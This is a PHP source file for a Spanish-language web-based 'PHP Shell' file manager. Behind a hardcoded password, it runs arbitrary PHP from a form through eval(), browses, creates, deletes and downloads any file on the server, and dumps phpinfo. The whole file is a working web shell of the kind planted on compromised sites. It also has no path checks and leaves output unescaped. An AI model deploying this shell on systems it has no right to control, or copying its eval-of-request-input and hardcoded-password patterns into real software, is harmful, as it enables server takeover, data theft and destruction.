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simple-filemanager.php
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<?php
/*
MIT License
Copyright (c) 2015 Jorge Matricali
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
define('FILEMANAGER_PASSWORD', md5('shell'));
define('FILEMANAGER_VERSION', 'v0.2');
session_start();
if (!empty($_POST['filemanager_password']) && md5($_POST['filemanager_password'])==FILEMANAGER_PASSWORD) {
$_SESSION['filemanager_password'] = FILEMANAGER_PASSWORD;
}
if (empty($_SESSION['filemanager_password']) || $_SESSION['filemanager_password'] != FILEMANAGER_PASSWORD) {
echo '<form method="POST"><input type="password" name="filemanager_password" /><input type="submit" /></form>';
exit;
}
abstract class Params
{
public static function get($name, $default = false)
{
if (!empty($_REQUEST[$name])) {
return $_REQUEST[$name];
} elseif (!empty($_POST[$name])) {
return $_POST[$name];
} elseif (!empty($_GET[$name])) {
return $_GET[$name];
}
return $default;
}
}
if (class_exists('ZipArchive')) {
class ExtendedZip extends ZipArchive
{
public function addTree($dirname, $localname = '')
{
if ($localname) {
$this->addEmptyDir($localname);
}
$this->addTreeInternal($dirname, $localname);
}
protected function addTreeInternal($dirname, $localname)
{
$dir = opendir($dirname);
while ($filename = readdir($dir)) {
if ($filename == '.' || $filename == '..') {
continue;
}
$path = $dirname . '/' . $filename;
$localpath = $localname ? ($localname . '/' . $filename) : $filename;
if (is_dir($path)) {
$this->addEmptyDir($localpath);
$this->addTreeInternal($path, $localpath);
} elseif (is_file($path)) {
$this->addFile($path, $localpath);
}
}
closedir($dir);
}
public static function zipTree($dirname, $zipFilename, $flags = 0, $localname = '')
{
$zip = new self();
$zip->open($zipFilename, $flags);
$zip->addTree($dirname, $localname);
$zip->close();
}
}
}
class SimpleFileManager
{
protected static $basePath;
public static function get_url()
{
if (self::$basePath === null) {
$url = parse_url($_SERVER['REQUEST_URI']);
self::$basePath = $url['path'];
}
return self::$basePath;
}
public static function directoryListing($path)
{
if (empty($path)) {
$path = getcwd() . '/';
}
if ($handle = opendir($path)) {
echo '<p>';
echo '<a class="btn btn-primary btn-create-file" href="' . self::get_url() . '?p=' . $path . '&cmd=create" title="Crear archivo"><i class="glyphicon glyphicon-file"></i> Crear archivo</a> ';
echo '<a class="btn btn-primary btn-create-folder" href="' . self::get_url() . '?p=' . $path . '&cmd=create-folder" title="Crear carpeta"><i class="glyphicon glyphicon-folder-open"></i> Crear carpeta</a>';
echo '</p>';
echo '<ul class="list-group">';
echo '<li class="list-group-item">..</li>';
while (false !== ($entry = readdir($handle))) {
if ($entry != "." && $entry != "..") {
$entry_full = $path . '/' . $entry;
echo '<li class="list-group-item"><span class="col-sm-4">';
if (is_dir($entry)) {
echo '<i class="glyphicon glyphicon-folder-close"></i> ';
} else {
echo '<i class="glyphicon glyphicon-file"></i> ';
}
echo sprintf('<a href="%s?p=%s" title="%s">%s</a>', self::get_url(), $entry_full, $entry, $entry);
echo '</span><span class="col-sm-2">';
$user = is_callable('posix_getpwuid') ? posix_getpwuid(fileowner($entry)) : fileowner($entry);
$group = is_callable('posix_getgrgid') ? posix_getgrgid(filegroup($entry)) : filegroup($entry);
echo is_array($user) ? $user['name'] : $user, ':', is_array($group) ? $group['name'] : $group;
echo '</span></span><span class="col-sm-2">';
echo self::filePermissions($entry);
echo '</span>';
echo '</span></span><span class="col-md-2 col-sm-1">';
echo self::fileSize($entry);
echo '</span>';
echo '</span></span><span class="col-md-2 col-sm-3">';
echo '<a class="btn btn-xs btn-default" href="' . self::get_url() . '?p=' . $entry_full . '&cmd=edit"><i class="glyphicon glyphicon-edit"></i></a> ';
echo '<a class="btn btn-xs btn-default" href="#rename" title="Renombrar"><i class="glyphicon glyphicon-pencil"></i></a> ';
echo '<a class="btn btn-xs btn-danger btn-remove-file" href="' . self::get_url() . '?p=' . $entry_full . '&cmd=remove" title="Eliminar"><i class="glyphicon glyphicon-trash"></i></a> ';
echo '<a class="btn btn-xs btn-success btn-download-file" href="' . self::get_url() . '?p=' . $entry_full . '&cmd=download" title="Descargar"><i class="glyphicon glyphicon-floppy-save"></i></a>';
echo '</span>';
echo '<span class="clearfix"></span>';
echo '</li>';
}
}
closedir($handle);
echo '</ul>';
}
}
public static function processEval()
{
echo '<form class="form" action="?cmd=eval" method="POST"><textarea class="form-control" name="evalstr">' . Params::get('evalstr', '') . '</textarea><br/><button type="submit" class="btn btn-primary"><i class="glyphicon glyphicon-play"></i> Ejecutar</button></form>';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$evalstr = Params::get('evalstr');
if (!empty($evalstr)) {
echo '<p><pre class="prettyprint">';
ob_start();
eval($evalstr);
echo htmlentities(ob_get_clean());
echo '</pre></p>';
}
}
}
public static function processCreate($path)
{
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$content = Params::get('content');
$f = Params::get('f');
if (!empty($content) && !empty($f)) {
$create_path = $path . '/' . $f;
if (file_exists($create_path)) {
echo '<div class="alert alert-danger">La ruta especificada ya existe.</div>';
} else {
if (file_put_contents($create_path, $content)) {
echo '<div class="alert alert-success">Archivo <b>'. $create_path . '</b> creado con exito.</div>';
return;
} else {
echo '<div class="alert alert-danger">Ocurrio un error al crear el archivo <b>'. $create_path . '</b>.</div>';
}
}
} else {
}
}
echo '<form class="form" action="?p='. $path . '&cmd=create" method="POST"><input type="text" class="form-control" name="f" value="' . Params::get('f', '') . '" /><textarea class="form-control" name="content">' . Params::get('content', '') . '</textarea><br/><button type="submit" class="btn btn-primary"><i class="glyphicon glyphicon-play"></i> Guardar</button></form>';
}
private static function pathBreadcrumb($path)
{
$d = explode('/', $path);
$f = '';
$r = '<ol class="breadcrumb">';
foreach ($d as $p) {
if (!empty($p)) {
$f .= '/' . $p;
$r .= sprintf('/<a href="%s?p=%s" title="%s">%s</a>', self::get_url(), $f, $f, $p);
}
}
$r .= '</ol>';
return $r;
}
public static function fileSize($filename, $decimals = 2)
{
$bytes = filesize($filename);
$sz = 'BKMGTP';
$factor = floor((strlen($bytes) - 1) / 3);
return sprintf("%.{$decimals}f", $bytes / pow(1024, $factor)) . @$sz[$factor];
}
public static function filePermissions($filename)
{
$p = fileperms($filename);
if (($p & 0xC000) == 0xC000) { // Socket
$i = 's';
} elseif (($p & 0xA000) == 0xA000) { // Enlace Simbólico
$i = 'l';
} elseif (($p & 0x8000) == 0x8000) { // Regular
$i = '-';
} elseif (($p & 0x6000) == 0x6000) { // Especial Bloque
$i = 'b';
} elseif (($p & 0x4000) == 0x4000) { // Directorio
$i = 'd';
} elseif (($p & 0x2000) == 0x2000) { // Especial Carácter
$i = 'c';
} elseif (($p & 0x1000) == 0x1000) { // Tubería FIFO
$i = 'p';
} else { // Desconocido
$i = 'u';
}
// Propietario
$i .= (($p & 0x0100) ? 'r' : '-');
$i .= (($p & 0x0080) ? 'w' : '-');
$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x') : (($p & 0x0800) ? 'S' : '-'));
// Grupo
$i .= (($p & 0x0020) ? 'r' : '-');
$i .= (($p & 0x0010) ? 'w' : '-');
$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x') : (($p & 0x0400) ? 'S' : '-'));
// Mundo
$i .= (($p & 0x0004) ? 'r' : '-');
$i .= (($p & 0x0002) ? 'w' : '-');
$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x') : (($p & 0x0200) ? 'T' : '-'));
return $i;
}
public static function deleteDir($path)
{
if (empty($path)) {
return false;
}
return is_file($path) ?
@unlink($path) :
array_map(array(__CLASS__, __FUNCTION__), glob($path.'/*')) == @rmdir($path);
}
private static function phpinfo_array()
{
ob_start();
phpinfo();
$i_arr = array();
$i_lines = explode("\n", strip_tags(ob_get_clean(), "<tr><td><h2>"));
$cat = "General";
foreach ($i_lines as $line) {
preg_match("~<h2>(.*)</h2>~", $line, $title) ? $cat = $title[1] : null;
if (preg_match("~<tr><td[^>]+>([^<]*)</td><td[^>]+>([^<]*)</td></tr>~", $line, $val)) {
$i_arr[$cat][$val[1]] = $val[2];
} elseif (preg_match("~<tr><td[^>]+>([^<]*)</td><td[^>]+>([^<]*)</td><td[^>]+>([^<]*)</td></tr>~", $line, $val)) {
$i_arr[$cat][$val[1]] = array("local" => $val[2], "master" => $val[3]);
}
}
return $i_arr;
}
public static function PHPInfo()
{
$my_array = self::phpinfo_array();
if (is_array($my_array)) {
foreach ($my_array as $k => $v) {
echo '<div class="table-responsive"><table class="table">';
echo '<tr><th colspan="2">' . $k. '</th></tr>';
if (is_array($v)) {
foreach ($v as $kv => $vv) {
echo '<tr><td class="info">';
echo '<strong>' . $kv . "</strong></td><td>";
if (isset($vv['local'])) {
echo $vv['local'];
} else {
print_r($vv);
}
echo '</td></tr>';
}
} else {
echo '<tr><td>' . $v . '</td></tr>';
}
echo '</table></div>';
}
return;
}
echo $my_array;
}
public static function run()
{
$path = Params::get('p', getcwd());
$cmd = Params::get('cmd', null);
if (!empty($cmd)) {
switch (strtoupper($cmd)) {
case 'EVAL':
self::processEval();
return;
case 'PHPINFO':
self::PHPInfo();
return;
case 'CREATE-FOLDER':
if ($f = Params::get('f')) {
$create_path = $path . '/' . $f;
if (file_exists($create_path)) {
echo '<div class="alert alert-danger">La ruta especificada ya existe.</div>';
} else {
if (mkdir($create_path)) {
echo '<div class="alert alert-success">Carpeta <b>' . $create_path . '</b> creada con exito.</div>';
} else {
echo '<div class="alert alert-danger">La carpeta <b>' . $create_path . '</b> no pudo ser creada.</div>';
}
}
}
break;
case 'CREATE':
echo self::pathBreadcrumb($path);
self::processCreate($path);
return;
case 'REMOVE':
if (self::deleteDir($path)) {
echo '<div class="alert alert-success"><b>' . $path . '</b> borrado con exito.</div>';
} else {
echo '<div class="alert alert-danger">Ocurrio un error al borrar <b>' . $create_path . '</b>.</div>';
}
$path = dirname($path);
break;
case 'DOWNLOAD':
$path = Params::get('p');
if (!empty($path) && file_exists($path)) {
if (is_dir($path) and class_exists('ZipArchive')) {
$zipname = $path . '.zip';
$zipname = tempnam(sys_get_temp_dir(), basename($path)) . '.zip';
ExtendedZip::zipTree($path, $zipname, ZipArchive::CREATE);
header('Content-Description: File Transfer');
header('Content-Type: application/zip');
header('Content-Disposition: attachment; filename="' . str_replace(array('/','\\'), '_', $path) . '.zip"');
header('Content-Transfer-Encoding: binary');
header('Connection: Keep-Alive');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
header('Content-Length: ' . filesize($zipname));
readfile($zipname);
exit;
} else {
$quoted = sprintf('"%s"', addcslashes(basename($path), '"\\'));
$size = filesize($path);
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename=' . $quoted);
header('Content-Transfer-Encoding: binary');
header('Connection: Keep-Alive');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
header('Content-Length: ' . $size);
readfile($path);
exit;
}
}
}
}
if (!empty($path)) {
echo self::pathBreadcrumb($path);
}
if (is_dir($path)) {
self::directoryListing($path);
} elseif (is_file($path)) {
echo '<pre class="prettyprint">'.htmlentities(file_get_contents($path)).'</pre>';
} else {
echo '<div class="alert alert-danger"><b>Ruta inválida:</b> ' . $path . '</div>';
self::directoryListing();
}
}
}
ob_start();
SimpleFileManager::run();
$output = ob_get_clean();
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>PHP Shell</title>
<link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.3.6/united/bootstrap.min.css" rel="stylesheet">
<!-- HTML5 shim and Respond.js for IE8 support of HTML5 elements and media queries -->
<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script>
<script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>
<![endif]-->
</head>
<body>
<div class="container">
<h1 class="page-header">PHP Shell</h1>
<nav class="navbar navbar-default">
<div class="container-fluid">
<ul class="nav navbar-nav">
<li><a href="<?php SimpleFileManager::get_url(); ?>?"><i class="glyphicon glyphicon-file"></i> Archivos</a></li>
<li><a href="<?php SimpleFileManager::get_url(); ?>?cmd=eval"><i class="glyphicon glyphicon glyphicon-sunglasses"></i> eval()</a></li>
<li><a href="<?php SimpleFileManager::get_url(); ?>?cmd=phpinfo"><i class="glyphicon glyphicon-question-sign"></i> phpinfo()</a></li>
</ul>
</div>
</nav>
<?php echo $output;?>
</div>
<!-- jQuery (necessary for Bootstrap's JavaScript plugins) -->
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script>
<!-- Include all compiled plugins (below), or include individual files as needed -->
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js"></script>
<script src="https://cdn.rawgit.com/google/code-prettify/master/loader/run_prettify.js"></script>
<script>
var SimpleFileManager = {
'initialize': function(){
SimpleFileManager.addCallbacks();
return true;
},
'addCallbacks': function(){
$('.btn-create-folder').on('click', function(){
var folderName = prompt('Nombre de la carpeta');
if(folderName.trim() != ''){
return window.location.href = '?p=' + SimpleFileManager.getParameterByName('p') + '&f=' + folderName + '&cmd=create-folder';
}
return false;
});
$('.btn-remove-file').on('click', function(){
var isSure = confirm('Estas seguro que quieres eliminar esto?');
return isSure;
});
},
'getParameterByName': function(name){
name = name.replace(/[\[]/, "\\[").replace(/[\]]/, "\\]");
var regex = new RegExp("[\\?&]" + name + "=([^&#]*)"),
results = regex.exec(location.search);
return results === null ? "" : decodeURIComponent(results[1].replace(/\+/g, " "));
}
};
(typeof SimpleFileManager != 'undefined' && SimpleFileManager.initialize()) || alert('No se pudo cargar :(');
</script>
<style>
@-moz-document url-prefix() { fieldset { display: table-cell; } }
pre.prettyprint {
border: 1px solid #ccc;
margin-bottom: 0;
padding: 9.5px;
}
</style>
</body>
</html>